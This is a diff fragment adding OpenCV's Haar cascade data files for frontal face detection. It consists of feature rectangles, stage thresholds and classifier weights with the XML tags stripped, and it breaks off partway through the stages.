1 3 2 -1. + <_> + 2 1 3 1 2. + 1 + <_> + + <_> + 1 1 5 12 -1. + <_> + 1 4 5 6 2. + <_> + + <_> + 2 5 1 14 -1. + <_> + 2 12 1 7 2. + <_> + + <_> + 6 0 9 7 -1. + <_> + 9 0 3 7 3. + <_> + + <_> + 16 1 4 6 -1. + <_> + 16 1 2 3 2. + <_> + 18 4 2 3 2. + <_> + + <_> + 16 0 4 6 -1. + <_> + 16 0 2 3 2. + <_> + 18 3 2 3 2. + <_> + + <_> + 18 0 1 2 -1. + <_> + 18 1 1 1 2. + <_> + + <_> + 17 1 1 3 -1. + <_> + 17 2 1 1 3. + <_> + + <_> + 1 8 3 4 -1. + <_> + 1 9 3 2 2. + <_> + + <_> + 6 0 4 15 -1. + <_> + 8 0 2 15 2. + <_> + + <_> + 18 17 1 3 -1. + <_> + 18 18 1 1 3. + <_> + + <_> + 3 7 6 3 -1. + <_> + 5 8 2 1 9. + <_> + + <_> + 0 5 12 12 -1. + <_> + 4 5 4 12 3. + <_> + + <_> + 14 9 1 3 -1. + <_> + 13 10 1 1 3. + 1 + <_> + + <_> + 4 4 2 2 -1. + <_> + 4 5 2 1 2. + <_> + + <_> + 6 4 2 10 -1. + <_> + 6 9 2 5 2. + <_> + + <_> + 14 6 6 14 -1. + <_> + 14 6 3 7 2. + <_> + 17 13 3 7 2. + <_> + + <_> + 6 7 11 8 -1. + <_> + 6 11 11 4 2. + <_> + + <_> + 17 8 3 5 -1. + <_> + 18 9 1 5 3. + 1 + <_> + + <_> + 10 4 10 2 -1. + <_> + 10 4 5 1 2. + <_> + 15 5 5 1 2. + <_> + + <_> + 5 1 8 8 -1. + <_> + 5 5 8 4 2. + <_> + + <_> + 19 16 1 4 -1. + <_> + 19 18 1 2 2. + <_> + + <_> + 19 0 1 10 -1. + <_> + 19 5 1 5 2. + <_> + + <_> + 17 0 3 3 -1. + <_> + 17 1 3 1 3. + <_> + + <_> + 9 2 3 1 -1. + <_> + 10 2 1 1 3. + <_> + + <_> + 2 0 18 5 -1. + <_> + 8 0 6 5 3. + <_> + + <_> + 15 8 3 9 -1. + <_> + 15 11 3 3 3. + <_> + + <_> + 13 11 1 8 -1. + <_> + 13 13 1 4 2. + <_> + + <_> + 10 14 8 3 -1. + <_> + 14 14 4 3 2. + <_> + + <_> + 7 8 2 8 -1. + <_> + 7 8 1 4 2. + <_> + 8 12 1 4 2. + <_> + + <_> + 2 18 4 2 -1. + <_> + 2 18 2 1 2. + <_> + 4 19 2 1 2. + <_> + + <_> + 5 5 2 3 -1. + <_> + 4 6 2 1 3. + 1 + <_> + + <_> + 15 1 4 1 -1. + <_> + 17 1 2 1 2. + <_> + + <_> + 7 1 4 3 -1. + <_> + 6 2 4 1 3. + 1 + <_> + + <_> + 3 1 6 19 -1. + <_> + 6 1 3 19 2. + <_> + + <_> + 8 3 5 8 -1. + <_> + 8 7 5 4 2. + <_> + + <_> + 0 0 20 2 -1. + <_> + 0 0 10 1 2. + <_> + 10 1 10 1 2. + <_> + + <_> + 7 0 8 2 -1. + <_> + 7 0 4 1 2. + <_> + 11 1 4 1 2. + <_> + + <_> + 3 6 3 3 -1. + <_> + 4 7 1 1 9. + <_> + + <_> + 1 6 2 8 -1. + <_> + 1 6 1 4 2. + <_> + 2 10 1 4 2. + <_> + + <_> + 18 9 2 3 -1. + <_> + 17 10 2 1 3. + 1 + <_> + + <_> + 16 2 4 12 -1. + <_> + 13 5 4 6 2. + 1 + <_> + + <_> + 8 0 7 20 -1. + <_> + 8 5 7 10 2. + <_> + + <_> + 11 6 4 3 -1. + <_> + 11 7 4 1 3. + <_> + + <_> + 12 2 4 12 -1. + <_> + 12 8 4 6 2. + <_> + + <_> + 11 9 7 4 -1. + <_> + 11 10 7 2 2. + <_> + + <_> + 2 9 1 2 -1. + <_> + 2 10 1 1 2. + <_> + + <_> + 6 9 5 3 -1. + <_> + 6 10 5 1 3. + <_> + + <_> + 8 6 12 2 -1. + <_> + 12 6 4 2 3. + <_> + + <_> + 0 11 4 4 -1. + <_> + 0 11 2 2 2. + <_> + 2 13 2 2 2. + <_> + + <_> + 0 9 4 8 -1. + <_> + 0 9 2 4 2. + <_> + 2 13 2 4 2. + <_> + + <_> + 14 7 3 10 -1. + <_> + 14 7 3 5 2. + 1 + <_> + + <_> + 0 1 2 7 -1. + <_> + 1 1 1 7 2. + <_> + + <_> + 1 1 8 2 -1. + <_> + 1 1 4 1 2. + <_> + 5 2 4 1 2. + <_> + + <_> + 0 2 4 10 -1. + <_> + 2 2 2 10 2. + <_> + + <_> + 15 11 4 9 -1. + <_> + 16 11 2 9 2. + <_> + + <_> + 8 1 12 3 -1. + <_> + 8 1 6 3 2. + 1 + <_> + + <_> + 0 1 3 6 -1. + <_> + 1 1 1 6 3. + <_> + + <_> + 2 15 3 1 -1. + <_> + 3 15 1 1 3. + <_> + + <_> + 2 1 11 3 -1. + <_> + 2 2 11 1 3. + <_> + + <_> + 6 6 1 2 -1. + <_> + 6 7 1 1 2. + <_> + + <_> + 13 8 3 3 -1. + <_> + 14 9 1 3 3. + 1 + <_> + + <_> + 0 3 12 6 -1. + <_> + 4 5 4 2 9. + <_> + + <_> + 2 6 9 3 -1. + <_> + 5 6 3 3 3. + <_> + + <_> + 1 5 5 4 -1. + <_> + 1 6 5 2 2. + <_> + + <_> + 14 0 2 2 -1. + <_> + 15 0 1 2 2. + <_> + + <_> + 5 0 15 2 -1. + <_> + 10 0 5 2 3. + <_> + + <_> + 10 5 8 1 -1. + <_> + 14 5 4 1 2. + <_> + + <_> + 0 15 12 3 -1. + <_> + 4 16 4 1 9. + <_> + + <_> + 7 16 2 1 -1. + <_> + 8 16 1 1 2. + <_> + + <_> + 0 8 2 12 -1. + <_> + 1 8 1 12 2. + <_> + + <_> + 7 16 2 2 -1. + <_> + 7 16 1 1 2. + <_> + 8 17 1 1 2. + <_> + + <_> + 11 2 2 10 -1. + <_> + 11 2 1 5 2. + <_> + 12 7 1 5 2. + <_> + + <_> + 7 1 2 13 -1. + <_> + 8 1 1 13 2. + <_> + + <_> + 15 14 2 4 -1. + <_> + 14 15 2 2 2. + 1 + <_> + + <_> + 13 7 2 1 -1. + <_> + 13 7 1 1 2. + 1 + <_> + + <_> + 6 8 10 2 -1. + <_> + 6 8 5 1 2. + <_> + 11 9 5 1 2. + <_> + + <_> + 7 6 8 4 -1. + <_> + 7 7 8 2 2. + <_> + + <_> + 9 5 4 2 -1. + <_> + 9 6 4 1 2. + <_> + + <_> + 4 9 10 2 -1. + <_> + 4 9 5 1 2. + <_> + 9 10 5 1 2. + <_> + + <_> + 14 4 6 2 -1. + <_> + 16 6 2 2 3. + 1 + <_> + + <_> + 9 2 3 2 -1. + <_> + 10 3 1 2 3. + 1 + <_> + + <_> + 14 1 2 12 -1. + <_> + 15 1 1 12 2. + <_> + + <_> + 6 0 12 14 -1. + <_> + 10 0 4 14 3. + <_> + + <_> + 16 5 3 4 -1. + <_> + 16 5 3 2 2. + 1 + <_> + + <_> + 0 3 3 3 -1. + <_> + 1 4 1 1 9. + <_> + + <_> + 5 5 8 6 -1. + <_> + 9 5 4 6 2. + <_> + + <_> + 9 7 4 2 -1. + <_> + 10 7 2 2 2. + <_> + + <_> + 0 18 18 2 -1. + <_> + 0 19 18 1 2. + <_> + + <_> + 3 18 16 2 -1. + <_> + 3 19 16 1 2. + <_> + + <_> + 13 17 6 3 -1. + <_> + 13 18 6 1 3. + <_> + + <_> + 1 17 17 3 -1. + <_> + 1 18 17 1 3. + <_> + + <_> + 15 8 1 4 -1. + <_> + 15 9 1 2 2. + <_> + + <_> + 1 9 6 6 -1. + <_> + 1 9 3 3 2. + <_> + 4 12 3 3 2. + <_> + + <_> + 8 15 12 2 -1. + <_> + 12 15 4 2 3. + <_> + + <_> + 4 10 2 1 -1. + <_> + 5 10 1 1 2. + <_> + + <_> + 5 11 2 1 -1. + <_> + 5 11 1 1 2. + 1 + <_> + + <_> + 9 0 6 17 -1. + <_> + 11 0 2 17 3. + <_> + + <_> + 4 1 4 8 -1. + <_> + 4 1 2 4 2. + <_> + 6 5 2 4 2. + <_> + + <_> + 6 13 2 2 -1. + <_> + 6 13 1 2 2. + 1 + <_> + + <_> + 2 19 2 1 -1. + <_> + 3 19 1 1 2. + <_> + + <_> + 0 1 19 3 -1. + <_> + 0 2 19 1 3. + <_> + + <_> + 4 8 13 6 -1. + <_> + 4 11 13 3 2. + <_> + + <_> + 4 2 10 3 -1. + <_> + 4 3 10 1 3. + <_> + + <_> + 4 4 15 9 -1. + <_> + 9 7 5 3 9. + <_> + + <_> + 6 2 2 2 -1. + <_> + 6 2 2 1 2. + 1 + <_> + + <_> + 8 2 3 18 -1. + <_> + 8 11 3 9 2. + <_> + + <_> + 3 16 1 3 -1. + <_> + 3 17 1 1 3. + <_> + + <_> + 3 12 15 2 -1. + <_> + 3 13 15 1 2. + <_> + + <_> + 3 16 6 4 -1. + <_> + 3 16 3 2 2. + <_> + 6 18 3 2 2. + <_> + + <_> + 16 0 2 9 -1. + <_> + 17 0 1 9 2. + <_> + + <_> + 17 9 2 3 -1. + <_> + 17 10 2 1 3. + <_> + + <_> + 14 4 4 4 -1. + <_> + 13 5 4 2 2. + 1 + <_> + + <_> + 11 3 6 6 -1. + <_> + 11 3 3 3 2. + <_> + 14 6 3 3 2. + <_> + + <_> + 3 15 1 4 -1. + <_> + 3 17 1 2 2. + <_> + + <_> + 2 0 2 1 -1. + <_> + 3 0 1 1 2. + <_> + + <_> + 4 9 3 2 -1. + <_> + 5 9 1 2 3. + <_> + + <_> + 7 5 6 9 -1. + <_> + 9 8 2 3 9. + <_> + + <_> + 11 7 2 2 -1. + <_> + 11 7 1 2 2. + 1 + <_> + + <_> + 0 11 5 9 -1. + <_> + 0 14 5 3 3. + <_> + + <_> + 8 10 4 1 -1. + <_> + 9 10 2 1 2. + <_> + + <_> + 4 3 1 4 -1. + <_> + 3 4 1 2 2. + 1 + <_> + + <_> + 1 2 18 12 -1. + <_> + 1 2 9 6 2. + <_> + 10 8 9 6 2. + <_> + + <_> + 5 2 1 4 -1. + <_> + 5 2 1 2 2. + 1 + <_> + + <_> + 0 2 2 2 -1. + <_> + 1 2 1 2 2. + <_> + + <_> + 4 2 12 4 -1. + <_> + 4 3 12 2 2. + <_> + + <_> + 7 7 3 3 -1. + <_> + 8 7 1 3 3. + <_> + + <_> + 4 6 6 6 -1. + <_> + 6 6 2 6 3. + <_> + + <_> + 0 6 2 3 -1. + <_> + 0 7 2 1 3. + <_> + + <_> + 17 11 3 3 -1. + <_> + 17 12 3 1 3. + <_> + + <_> + 16 0 3 9 -1. + <_> + 17 0 1 9 3. + <_> + + <_> + 13 1 2 2 -1. + <_> + 14 1 1 2 2. + <_> + + <_> + 4 5 8 9 -1. + <_> + 8 5 4 9 2. + <_> + + <_> + 10 0 2 2 -1. + <_> + 11 0 1 2 2. + <_> + + <_> + 10 3 4 4 -1. + <_> + 10 3 2 2 2. + <_> + 12 5 2 2 2. + <_> + + <_> + 5 0 8 1 -1. + <_> + 7 2 4 1 2. + 1 + <_> + + <_> + 0 3 2 12 -1. + <_> + 0 3 1 6 2. + <_> + 1 9 1 6 2. + <_> + + <_> + 5 8 2 4 -1. + <_> + 4 9 2 2 2. + 1 + <_> + + <_> + 0 1 1 12 -1. + <_> + 0 4 1 6 2. + <_> + + <_> + 16 11 3 6 -1. + <_> + 16 14 3 3 2. + <_> + + <_> + 6 9 1 3 -1. + <_> + 5 10 1 1 3. + 1 + <_> + + <_> + 13 0 4 18 -1. + <_> + 14 0 2 18 2. + <_> + + <_> + 15 11 2 2 -1. + <_> + 16 11 1 2 2. + <_> + + <_> + 15 16 3 3 -1. + <_> + 15 17 3 1 3. + <_> + + <_> + 16 9 4 1 -1. + <_> + 17 10 2 1 2. + 1 + <_> + + <_> + 4 0 8 2 -1. + <_> + 4 0 4 1 2. + <_> + 8 1 4 1 2. + <_> + + <_> + 9 15 8 4 -1. + <_> + 11 15 4 4 2. + <_> + + <_> + 15 18 2 2 -1. + <_> + 15 18 1 1 2. + <_> + 16 19 1 1 2. + <_> + + <_> + 15 2 4 4 -1. + <_> + 15 2 2 2 2. + <_> + 17 4 2 2 2. + <_> + + <_> + 19 5 1 12 -1. + <_> + 19 8 1 6 2. + <_> + + <_> + 15 14 5 3 -1. + <_> + 15 15 5 1 3. + <_> + + <_> + 15 18 2 2 -1. + <_> + 16 18 1 2 2. + <_> + + <_> + 15 18 2 1 -1. + <_> + 16 18 1 1 2. + <_> + + <_> + 0 0 18 2 -1. + <_> + 0 0 9 1 2. + <_> + 9 1 9 1 2. + <_> + + <_> + 5 6 2 4 -1. + <_> + 5 7 2 2 2. + <_> + + <_> + 16 11 2 3 -1. + <_> + 15 12 2 1 3. + 1 + <_> + + <_> + 8 4 4 7 -1. + <_> + 9 5 2 7 2. + 1 + <_> + + <_> + 5 8 2 4 -1. + <_> + 5 9 2 2 2. + <_> + + <_> + 8 9 4 2 -1. + <_> + 9 10 2 2 2. + 1 + <_> + + <_> + 11 10 3 3 -1. + <_> + 12 10 1 3 3. + <_> + + <_> + 15 0 2 5 -1. + <_> + 16 0 1 5 2. + <_> + + <_> + 4 8 3 1 -1. + <_> + 5 9 1 1 3. + 1 + <_> + + <_> + 9 5 1 4 -1. + <_> + 9 7 1 2 2. + <_> + + <_> + 12 11 2 1 -1. + <_> + 13 11 1 1 2. + <_> + + <_> + 9 3 5 10 -1. + <_> + 9 8 5 5 2. + <_> + + <_> + 4 13 9 4 -1. + <_> + 4 15 9 2 2. + <_> + + <_> + 15 2 2 1 -1. + <_> + 16 2 1 1 2. + <_> + + <_> + 7 1 13 6 -1. + <_> + 7 3 13 2 3. + <_> + + <_> + 3 0 15 2 -1. + <_> + 3 1 15 1 2. + <_> + + <_> + 4 0 12 2 -1. + <_> + 4 1 12 1 2. + <_> + + <_> + 17 2 2 4 -1. + <_> + 17 3 2 2 2. + <_> + + <_> + 5 6 4 6 -1. + <_> + 5 6 2 3 2. + <_> + 7 9 2 3 2. + <_> + + <_> + 16 15 2 2 -1. + <_> + 16 15 1 1 2. + <_> + 17 16 1 1 2. + <_> + + <_> + 16 15 2 2 -1. + <_> + 16 15 1 1 2. + <_> + 17 16 1 1 2. + <_> + + <_> + 7 18 13 2 -1. + <_> + 7 19 13 1 2. + <_> + + <_> + 16 2 1 6 -1. + <_> + 16 4 1 2 3. + <_> + + <_> + 17 16 2 2 -1. + <_> + 17 16 1 1 2. + <_> + 18 17 1 1 2. + <_> + + <_> + 4 4 5 2 -1. + <_> + 4 4 5 1 2. + 1 + <_> + + <_> + 14 17 2 2 -1. + <_> + 14 17 1 1 2. + <_> + 15 18 1 1 2. + <_> + + <_> + 15 1 2 2 -1. + <_> + 15 1 2 1 2. + 1 + <_> + + <_> + 15 1 2 2 -1. + <_> + 15 1 1 1 2. + <_> + 16 2 1 1 2. + <_> + + <_> + 6 10 3 7 -1. + <_> + 7 10 1 7 3. + <_> + + <_> + 12 9 6 5 -1. + <_> + 15 9 3 5 2. + <_> + + <_> + 7 4 3 6 -1. + <_> + 7 4 3 3 2. + 1 + <_> + + <_> + 2 6 8 10 -1. + <_> + 2 11 8 5 2. + <_> + + <_> + 3 13 2 3 -1. + <_> + 3 14 2 1 3. + <_> + + <_> + 1 11 4 2 -1. + <_> + 1 12 4 1 2. + <_> + + <_> + 5 16 15 4 -1. + <_> + 5 17 15 2 2. + <_> + + <_> + 15 6 2 4 -1. + <_> + 15 7 2 2 2. + <_> + + <_> + 6 2 9 3 -1. + <_> + 6 3 9 1 3. + <_> + + <_> + 15 16 2 2 -1. + <_> + 15 16 1 1 2. + <_> + 16 17 1 1 2. + <_> + + <_> + 8 2 10 3 -1. + <_> + 8 3 10 1 3. + <_> + + <_> + 18 8 2 4 -1. + <_> + 17 9 2 2 2. + 1 + <_> + + <_> + 2 5 1 12 -1. + <_> + 2 11 1 6 2. + <_> + + <_> + 17 13 3 6 -1. + <_> + 18 15 1 2 9. + <_> + + <_> + 13 5 3 2 -1. + <_> + 14 5 1 2 3. + <_> + + <_> + 3 2 3 2 -1. + <_> + 4 2 1 2 3. + <_> + + <_> + 4 4 12 5 -1. + <_> + 7 4 6 5 2. + <_> + + <_> + 5 15 2 2 -1. + <_> + 5 15 1 1 2. + <_> + 6 16 1 1 2. + <_> + + <_> + 10 0 8 3 -1. + <_> + 12 0 4 3 2. + <_> + + <_> + 11 0 8 6 -1. + <_> + 13 0 4 6 2. + <_> + + <_> + 4 1 12 8 -1. + <_> + 10 1 6 8 2. + <_> + + <_> + 18 10 2 3 -1. + <_> + 17 11 2 1 3. + 1 + <_> + + <_> + 12 1 6 3 -1. + <_> + 14 1 2 3 3. + <_> + + <_> + 1 16 1 3 -1. + <_> + 1 17 1 1 3. + <_> + + <_> + 10 9 1 2 -1. + <_> + 10 10 1 1 2. + <_> + + <_> + 19 13 1 4 -1. + <_> + 19 13 1 2 2. + 1 + <_> + + <_> + 9 6 3 6 -1. + <_> + 9 9 3 3 2. + <_> + + <_> + 2 9 18 10 -1. + <_> + 2 9 9 5 2. + <_> + 11 14 9 5 2. + <_> + + <_> + 11 4 5 6 -1. + <_> + 11 4 5 3 2. + 1 + <_> + + <_> + 17 0 2 4 -1. + <_> + 17 1 2 2 2. + <_> + + <_> + 2 3 3 4 -1. + <_> + 3 3 1 4 3. + <_> + + <_> + 19 0 1 10 -1. + <_> + 19 5 1 5 2. + <_> + + <_> + 1 7 6 6 -1. + <_> + 1 7 3 3 2. + <_> + 4 10 3 3 2. + <_> + + <_> + 15 2 3 12 -1. + <_> + 11 6 3 4 3. + 1 + <_> + + <_> + 3 9 7 6 -1. + <_> + 3 11 7 2 3. + <_> + + <_> + 8 8 1 3 -1. + <_> + 8 9 1 1 3. + <_> + + <_> + 4 13 6 6 -1. + <_> + 4 15 6 2 3. + <_> + + <_> + 1 13 4 3 -1. + <_> + 1 14 4 1 3. + <_> + + <_> + 7 1 4 4 -1. + <_> + 7 1 2 2 2. + <_> + 9 3 2 2 2. + <_> + + <_> + 2 4 2 2 -1. + <_> + 2 4 1 1 2. + <_> + 3 5 1 1 2. + <_> + + <_> + 2 4 16 3 -1. + <_> + 2 5 16 1 3. + <_> + + <_> + 0 6 17 3 -1. + <_> + 0 7 17 1 3. + <_> + + <_> + 5 6 10 3 -1. + <_> + 5 7 10 1 3. + diff --git a/libs/haarcascade_frontalface_default.xml b/libs/haarcascade_frontalface_default.xml new file mode 100644 index 00000000000..cbd1aa89e92 --- /dev/null +++ b/libs/haarcascade_frontalface_default.xml @@ -0,0 +1,33314 @@ + + + +BOOST + HAAR + 24 + 24 + + 211 + + 0 + 25 + + <_> + 9 + -5.0425500869750977e+00 + + <_> + + 0 -1 0 -3.1511999666690826e-02 + + 2.0875380039215088e+00 -2.2172100543975830e+00 + <_> + + 0 -1 1 1.2396000325679779e-02 + + -1.8633940219879150e+00 1.3272049427032471e+00 + <_> + + 0 -1 2 2.1927999332547188e-02 + + -1.5105249881744385e+00 1.0625729560852051e+00 + <_> + + 0 -1 3 5.7529998011887074e-03 + + -8.7463897466659546e-01 1.1760339736938477e+00 + <_> + + 0 -1 4 1.5014000236988068e-02 + + -7.7945697307586670e-01 1.2608419656753540e+00 + <_> + + 0 -1 5 9.9371001124382019e-02 + + 5.5751299858093262e-01 -1.8743000030517578e+00 + <_> + + 0 -1 6 2.7340000960975885e-03 + + -1.6911929845809937e+00 4.4009700417518616e-01 + <_> + + 0 -1 7 -1.8859000876545906e-02 + + -1.4769539833068848e+00 4.4350099563598633e-01 + <_> + + 0 -1 8 5.9739998541772366e-03 + + -8.5909199714660645e-01 8.5255599021911621e-01 + <_> + 16 + -4.9842400550842285e+00 + + <_> + + 0 -1 9 -2.1110000088810921e-02 + + 1.2435649633407593e+00 -1.5713009834289551e+00 + <_> + + 0 -1 10 2.0355999469757080e-02 + + -1.6204780340194702e+00 1.1817760467529297e+00 + <_> + + 0 -1 11 2.1308999508619308e-02 + + -1.9415930509567261e+00 7.0069098472595215e-01 + <_> + + 0 -1 12 9.1660000383853912e-02 + + -5.5670100450515747e-01 1.7284419536590576e+00 + <_> + + 0 -1 13 3.6288000643253326e-02 + + 2.6763799786567688e-01 -2.1831810474395752e+00 + <_> + + 0 -1 14 -1.9109999760985374e-02 + + -2.6730210781097412e+00 4.5670801401138306e-01 + <_> + + 0 -1 15 8.2539999857544899e-03 + + -1.0852910280227661e+00 5.3564202785491943e-01 + <_> + + 0 -1 16 1.8355000764131546e-02 + + -3.5200199484825134e-01 9.3339198827743530e-01 + <_> + + 0 -1 17 -7.0569999516010284e-03 + + 9.2782098054885864e-01 -6.6349899768829346e-01 + <_> + + 0 -1 18 -9.8770000040531158e-03 + + 1.1577470302581787e+00 -2.9774799942970276e-01 + <_> + + 0 -1 19 1.5814000740647316e-02 + + -4.1960600018501282e-01 1.3576040267944336e+00 + <_> + + 0 -1 20 -2.0700000226497650e-02 + + 1.4590020179748535e+00 -1.9739399850368500e-01 + <_> + + 0 -1 21 -1.3760800659656525e-01 + + 1.1186759471893311e+00 -5.2915501594543457e-01 + <_> + + 0 -1 22 1.4318999834358692e-02 + + -3.5127198696136475e-01 1.1440860033035278e+00 + <_> + + 0 -1 23 1.0253000073134899e-02 + + -6.0850602388381958e-01 7.7098500728607178e-01 + <_> + + 0 -1 24 9.1508001089096069e-02 + + 3.8817799091339111e-01 -1.5122940540313721e+00 + <_> + 27 + -4.6551899909973145e+00 + + <_> + + 0 -1 25 6.9747000932693481e-02 + + -1.0130879878997803e+00 1.4687349796295166e+00 + <_> + + 0 -1 26 3.1502999365329742e-02 + + -1.6463639736175537e+00 1.0000629425048828e+00 + <_> + + 0 -1 27 1.4260999858379364e-02 + + 4.6480301022529602e-01 -1.5959889888763428e+00 + <_> + + 0 -1 28 1.4453000389039516e-02 + + -6.5511900186538696e-01 8.3021801710128784e-01 + <_> + + 0 -1 29 -3.0509999487549067e-03 + + -1.3982310295104980e+00 4.2550599575042725e-01 + <_> + + 0 -1 30 3.2722998410463333e-02 + + -5.0702601671218872e-01 1.0526109933853149e+00 + <_> + + 0 -1 31 -7.2960001416504383e-03 + + 3.6356899142265320e-01 -1.3464889526367188e+00 + <_> + + 0 -1 32 5.0425000488758087e-02 + + -3.0461400747299194e-01 1.4504129886627197e+00 + <_> + + 0 -1 33 4.6879000961780548e-02 + + -4.0286201238632202e-01 1.2145609855651855e+00 + <_> + + 0 -1 34 -6.9358997046947479e-02 + + 1.0539360046386719e+00 -4.5719701051712036e-01 + <_> + + 0 -1 35 -4.9033999443054199e-02 + + -1.6253089904785156e+00 1.5378999710083008e-01 + <_> + + 0 -1 36 8.4827996790409088e-02 + + 2.8402999043464661e-01 -1.5662059783935547e+00 + <_> + + 0 -1 37 -1.7229999648407102e-03 + + -1.0147459506988525e+00 2.3294800519943237e-01 + <_> + + 0 -1 38 1.1562199890613556e-01 + + -1.6732899844646454e-01 1.2804069519042969e+00 + <_> + + 0 -1 39 -5.1279999315738678e-02 + + 1.5162390470504761e+00 -3.0271100997924805e-01 + <_> + + 0 -1 40 -4.2706999927759171e-02 + + 1.7631920576095581e+00 -5.1832001656293869e-02 + <_> + + 0 -1 41 3.7178099155426025e-01 + + -3.1389200687408447e-01 1.5357979536056519e+00 + <_> + + 0 -1 42 1.9412999972701073e-02 + + -1.0017599910497665e-01 9.3655401468276978e-01 + <_> + + 0 -1 43 1.7439000308513641e-02 + + -4.0379899740219116e-01 9.6293002367019653e-01 + <_> + + 0 -1 44 3.9638999849557877e-02 + + 1.7039099335670471e-01 -2.9602990150451660e+00 + <_> + + 0 -1 45 -9.1469995677471161e-03 + + 8.8786798715591431e-01 -4.3818700313568115e-01 + <_> + + 0 -1 46 1.7219999572262168e-03 + + -3.7218600511550903e-01 4.0018901228904724e-01 + <_> + + 0 -1 47 3.0231000855565071e-02 + + 6.5924003720283508e-02 -2.6469180583953857e+00 + <_> + + 0 -1 48 -7.8795999288558960e-02 + + -1.7491459846496582e+00 2.8475299477577209e-01 + <_> + + 0 -1 49 2.1110000088810921e-03 + + -9.3908101320266724e-01 2.3205199837684631e-01 + <_> + + 0 -1 50 2.7091000229120255e-02 + + -5.2664000540971756e-02 1.0756820440292358e+00 + <_> + + 0 -1 51 -4.4964998960494995e-02 + + -1.8294479846954346e+00 9.9561996757984161e-02 + <_> + 32 + -4.4531588554382324e+00 + + <_> + + 0 -1 52 -6.5701000392436981e-02 + + 1.1558510065078735e+00 -1.0716359615325928e+00 + <_> + + 0 -1 53 1.5839999541640282e-02 + + -1.5634720325469971e+00 7.6877099275588989e-01 + <_> + + 0 -1 54 1.4570899307727814e-01 + + -5.7450097799301147e-01 1.3808720111846924e+00 + <_> + + 0 -1 55 6.1389999464154243e-03 + + -1.4570560455322266e+00 5.1610302925109863e-01 + <_> + + 0 -1 56 6.7179999314248562e-03 + + -8.3533602952957153e-01 5.8522200584411621e-01 + <_> + + 0 -1 57 1.8518000841140747e-02 + + -3.1312099099159241e-01 1.1696679592132568e+00 + <_> + + 0 -1 58 1.9958000630140305e-02 + + -4.3442600965499878e-01 9.5446902513504028e-01 + <_> + + 0 -1 59 -2.7755001187324524e-01 + + 1.4906179904937744e+00 -1.3815900683403015e-01 + <_> + + 0 -1 60 9.1859996318817139e-03 + + -9.6361500024795532e-01 2.7665498852729797e-01 + <_> + + 0 -1 61 -3.7737999111413956e-02 + + -2.4464108943939209e+00 2.3619599640369415e-01 + <_> + + 0 -1 62 1.8463000655174255e-02 + + 1.7539200186729431e-01 -1.3423130512237549e+00 + <_> + + 0 -1 63 -1.1114999651908875e-02 + + 4.8710799217224121e-01 -8.9851897954940796e-01 + <_> + + 0 -1 64 3.3927999436855316e-02 + + 1.7874200642108917e-01 -1.6342279911041260e+00 + <_> + + 0 -1 65 -3.5649001598358154e-02 + + -1.9607399702072144e+00 1.8102499842643738e-01 + <_> + + 0 -1 66 -1.1438000015914440e-02 + + 9.9010699987411499e-01 -3.8103199005126953e-01 + <_> + + 0 -1 67 -6.5236002206802368e-02 + + -2.5794160366058350e+00 2.4753600358963013e-01 + <_> + + 0 -1 68 -4.2272001504898071e-02 + + 1.4411840438842773e+00 -2.9508298635482788e-01 + <_> + + 0 -1 69 1.9219999667257071e-03 + + -4.9608600139617920e-01 6.3173598051071167e-01 + <_> + + 0 -1 70 -1.2921799719333649e-01 + + -2.3314270973205566e+00 5.4496999830007553e-02 + <_> + + 0 -1 71 2.2931000217795372e-02 + + -8.4447097778320312e-01 3.8738098740577698e-01 + <_> + + 0 -1 72 -3.4120000898838043e-02 + + -1.4431500434875488e+00 9.8422996699810028e-02 + <_> + + 0 -1 73 2.6223000138998032e-02 + + 1.8223099410533905e-01 -1.2586519718170166e+00 + <_> + + 0 -1 74 2.2236999124288559e-02 + + 6.9807998836040497e-02 -2.3820950984954834e+00 + <_> + + 0 -1 75 -5.8240001089870930e-03 + + 3.9332500100135803e-01 -2.7542799711227417e-01 + <_> + + 0 -1 76 4.3653000146150589e-02 + + 1.4832699298858643e-01 -1.1368780136108398e+00 + <_> + + 0 -1 77 5.7266999036073685e-02 + + 2.4628099799156189e-01 -1.2687400579452515e+00 + <_> + + 0 -1 78 2.3409998975694180e-03 + + -7.5448900461196899e-01 2.7163800597190857e-01 + <_> + + 0 -1 79 1.2996000237762928e-02 + + -3.6394900083541870e-01 7.0959198474884033e-01 + <_> + + 0 -1 80 -2.6517000049352646e-02 + + -2.3221859931945801e+00 3.5744000226259232e-02 + <_> + + 0 -1 81 -5.8400002308189869e-03 + + 4.2194300889968872e-01 -4.8184998333454132e-02 + <_> + + 0 -1 82 -1.6568999737501144e-02 + + 1.1099940538406372e+00 -3.4849700331687927e-01 + <_> + + 0 -1 83 -6.8157002329826355e-02 + + -3.3269989490509033e+00 2.1299000084400177e-01 + <_> + 52 + -4.3864588737487793e+00 + + <_> + + 0 -1 84 3.9974000304937363e-02 + + -1.2173449993133545e+00 1.0826710462570190e+00 + <_> + + 0 -1 85 1.8819500505924225e-01 + + -4.8289400339126587e-01 1.4045250415802002e+00 + <_> + + 0 -1 86 7.8027002513408661e-02 + + -1.0782150030136108e+00 7.4040299654006958e-01 + <_> + + 0 -1 87 1.1899999663000926e-04 + + -1.2019979953765869e+00 3.7749201059341431e-01 + <_> + + 0 -1 88 8.5056997835636139e-02 + + -4.3939098715782166e-01 1.2647340297698975e+00 + <_> + + 0 -1 89 8.9720003306865692e-03 + + -1.8440499901771545e-01 4.5726400613784790e-01 + <_> + + 0 -1 90 8.8120000436902046e-03 + + 3.0396699905395508e-01 -9.5991098880767822e-01 + <_> + + 0 -1 91 -2.3507999256253242e-02 + + 1.2487529516220093e+00 4.6227999031543732e-02 + <_> + + 0 -1 92 7.0039997808635235e-03 + + -5.9442102909088135e-01 5.3963297605514526e-01 + <_> + + 0 -1 93 3.3851999789476395e-02 + + 2.8496098518371582e-01 -1.4895249605178833e+00 + <_> + + 0 -1 94 -3.2530000898987055e-03 + + 4.8120799660682678e-01 -5.2712398767471313e-01 + <_> + + 0 -1 95 2.9097000136971474e-02 + + 2.6743900775909424e-01 -1.6007850170135498e+00 + <_> + + 0 -1 96 -8.4790000692009926e-03 + + -1.3107639551162720e+00 1.5243099629878998e-01 + <_> + + 0 -1 97 -1.0795000009238720e-02 + + 4.5613598823547363e-01 -7.2050899267196655e-01 + <_> + + 0 -1 98 -2.4620000272989273e-02 + + -1.7320619821548462e+00 6.8363003432750702e-02 + <_> + + 0 -1 99 3.7380000576376915e-03 + + -1.9303299486637115e-01 6.8243497610092163e-01 + <_> + + 0 -1 100 -1.2264000251889229e-02 + + -1.6095290184020996e+00 7.5268000364303589e-02 + <_> + + 0 -1 101 -4.8670000396668911e-03 